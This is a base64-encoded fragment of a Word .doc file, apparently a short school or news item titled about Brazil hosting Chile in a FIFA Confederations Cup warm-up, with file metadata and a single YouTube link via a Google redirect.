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 AAAyAAAAHgAAABgAAABNaWNyb3NvZnQgT2ZmaWNlIFdvcmQAAABAAAAAAEbDIwAAAABAAAAAAO4S J28QzwFAAAAAAO4SJ28QzwEDAAAAAQAAAAMAAADHAQAAAwAAACYKAAADAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v8AAAUBAgAAAAAAAAAAAAAAAAAAAAAA AgAAAALVzdWcLhsQk5cIACss+a5EAAAABdXN1ZwuGxCTlwgAKyz5rmQBAAAgAQAADAAAAAEAAABo AAAADwAAAHAAAAAFAAAAfAAAAAYAAACEAAAAEQAAAIwAAAAXAAAAlAAAAAsAAACcAAAAEAAAAKQA AAATAAAArAAAABYAAAC0AAAADQAAALwAAAAMAAAAAQEAAAIAAADkBAAAHgAAAAQAAAAAAAAAAwAA ABUAAAADAAAABgAAAAMAAADnCwAAAwAAAOYVCwALAAAAAAAAAAsAAAAAAAAACwAAAAAAAAALAAAA AAAAAB4QAAABAAAAOQAAAEJSQVpJTCBUTyBIT1NUIENISUVMIElOIEZJRkEgQ09ORkVERVJBVElP TlMgQ1VQIFdBUk0tVVAgAAwQAAACAAAAHgAAAAYAAABUaXRsZQADAAAAAQAAAADIAQAAAwAAAAAA AAAgAAAAAQAAADgAAAACAAAAQAAAAAEAAAACAAAADAAAAF9QSURfSExJTktTAAIAAADkBAAAQQAA AIABAAAGAAAAAwAAAH8ATgADAAAA/////wMAAAAEBAAAAwAAAAQAAAAfAAAAowAAAGgAdAB0AHAA OgAvAC8AdwB3AHcALgBnAG8AbwBnAGwAZQAuAGMAbwAuAHoAYQAvAHUAcgBsAD8AcQA9AGgAdAB0 AHAAOgAvAC8AdwB3AHcALgB5AG8AdQB0AHUAYgBlAC4AYwBvAG0ALwB3AGEAdABjAGgAJQAzAEYA dgAlADMARAB1ADgALQBDAGYASQBNAGUAagAwAFUAJgBzAGEAPQBVACYAZQBpAD0AYgAxADkAeQBU AHMAZQBsAEQASQBUADQAbQBBAFcANwB0AFkAbQBiAEMAZwAmAHYAZQBkAD0AMABDAEMAdwBRAHQA dwBJAHcAQgBBACYAdQBzAGcAPQBBAEYAUQBqAEMATgBIAHQATgB3ADQAVwBxAGYAYQB2AFMAQwBi AHkAcQBmADcAYwBZAHUAZwBmAEkAXwAzAEkATQB3AAAAAAAfAAAAAQAAAAAArxgAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAwAAAAQAAAAFAAAABgAAAAcAAAAIAAAA CQAAAAoAAAALAAAADAAAAA0AAAAOAAAADwAAABAAAAARAAAAEgAAABMAAAAUAAAAFQAAABYAAAAX AAAAGAAAABkAAAAaAAAAGwAAABwAAAAdAAAAHgAAAB8AAAAgAAAAIQAAACIAAAAjAAAAJAAAACUA AAAmAAAAJwAAACgAAAApAAAAKgAAACsAAAAsAAAALQAAAC4AAAAvAAAAMAAAADEAAAAyAAAAMwAA ADQAAAA1AAAANgAAADcAAAA4AAAAOQAAADoAAAA7AAAAPAAAAD0AAAA+AAAAPwAAAEAAAABBAAAA QgAAAEMAAABEAAAARQAAAEYAAABHAAAASAAAAEkAAABKAAAASwAAAEwAAABNAAAATgAAAE8AAABQ AAAAUQAAAFIAAABTAAAAVAAAAFUAAABWAAAAVwAAAFgAAABZAAAAWgAAAFsAAABcAAAAXQAAAF4A AABfAAAAYAAAAGEAAABiAAAAYwAAAGQAAABlAAAAZgAAAGcAAABoAAAAaQAAAGoAAABrAAAAbAAA AG0AAABuAAAAbwAAAHAAAABxAAAAcgAAAHMAAAB0AAAAdQAAAHYAAAB3AAAAeAAAAHkAAAB6AAAA ewAAAHwAAAB9AAAAfgAAAH8AAACAAAAAgQAAAIIAAACDAAAAhAAAAIUAAACGAAAAhwAAAIgAAACJ AAAAigAAAIsAAACMAAAAjQAAAI4AAACPAAAAkAAAAJEAAACSAAAAkwAAAJQAAACVAAAAlgAAAJcA AACYAAAAmQAAAJoAAACbAAAAnAAAAJ0AAACeAAAAnwAAAKAAAAChAAAAogAAAKMAAACkAAAApQAA AKYAAACnAAAAqAAAAKkAAACqAAAAqwAAAKwAAACtAAAArgAAAK8AAACwAAAAsQAAALIAAACzAAAA tAAAALUAAAC2AAAAtwAAALgAAAC5AAAAugAAALsAAAC8AAAAvQAAAL4AAAC/AAAAwAAAAMEAAADC AAAAwwAAAMQAAADFAAAAxgAAAMcAAADIAAAAyQAAAMoAAADLAAAAzAAAAM0AAADOAAAAzwAAANAA AADRAAAA0gAAANMAAADUAAAA1QAAANYAAADXAAAA2AAAANkAAADaAAAA2wAAANwAAADdAAAA3gAA AN8AAADgAAAA4QAAAOIAAADjAAAA5AAAAOUAAADmAAAA5wAAAOgAAADpAAAA6gAAAOsAAADsAAAA 7QAAAO4AAADvAAAA8AAAAPEAAADyAAAA8wAAAPQAAAD1AAAA9gAAAPcAAAD4AAAA+QAAAP7////7 AAAA/AAAAP0AAAD+AAAA/wAAAAABAAABAQAAAgEAAAMBAAAEAQAABQEAAAYBAAAHAQAACAEAAAkB AAAKAQAACwEAAAwBAAANAQAADgEAAA8BAAAQAQAAEQEAABIBAAATAQAAFAEAABUBAAAWAQAAFwEA ABgBAAAZAQAAGgEAABsBAAAcAQAAHQEAAB4BAAAfAQAAIAEAACEBAAAiAQAAIwEAACQBAAAlAQAA JgEAACcBAAAoAQAAKQEAACoBAAArAQAALAEAAC0BAAAuAQAALwEAADABAAAxAQAAMgEAADMBAAA0 AQAANQEAADYBAAA3AQAAOAEAADkBAAA6AQAAOwEAADwBAAA9AQAAPgEAAD8BAABAAQAAQQEAAEIB AABDAQAARAEAAEUBAABGAQAARwEAAEgBAABJAQAASgEAAEsBAABMAQAATQEAAE4BAABPAQAAUAEA AFEBAABSAQAAUwEAAFQBAABVAQAAVgEAAFcBAABYAQAAWQEAAFoBAABbAQAAXAEAAF0BAABeAQAA XwEAAGABAABhAQAAYgEAAGMBAABkAQAAZQEAAGYBAABnAQAAaAEAAGkBAABqAQAAawEAAGwBAABt AQAAbgEAAG8BAABwAQAAcQEAAHIBAABzAQAAdAEAAHUBAAB2AQAAdwEAAHgBAAB5AQAAegEAAHsB AAB8AQAAfQEAAH4BAAB/AQAAgAEAAIEBAACCAQAAgwEAAIQBAACFAQAAhgEAAIcBAACIAQAAiQEA AIoBAACLAQAAjAEAAI0BAACOAQAAjwEAAJABAACRAQAAkgEAAJMBAACUAQAAlQEAAJYBAACXAQAA mAEAAJkBAACaAQAAmwEAAJwBAACdAQAAngEAAJ8BAACgAQAAoQEAAKIBAACjAQAApAEAAKUBAACm AQAApwEAAKgBAACpAQAAqgEAAKsBAACsAQAArQEAAK4BAACvAQAAsAEAALEBAACyAQAAswEAALQB AAC1AQAAtgEAALcBAAC4AQAAuQEAALoBAAC7AQAAvAEAAL0BAAC+AQAAvwEAAMABAADBAQAAwgEA AMMBAADEAQAAxQEAAMYBAADHAQAAyAEAAMkBAADKAQAAywEAAMwBAADNAQAAzgEAAM8BAADQAQAA 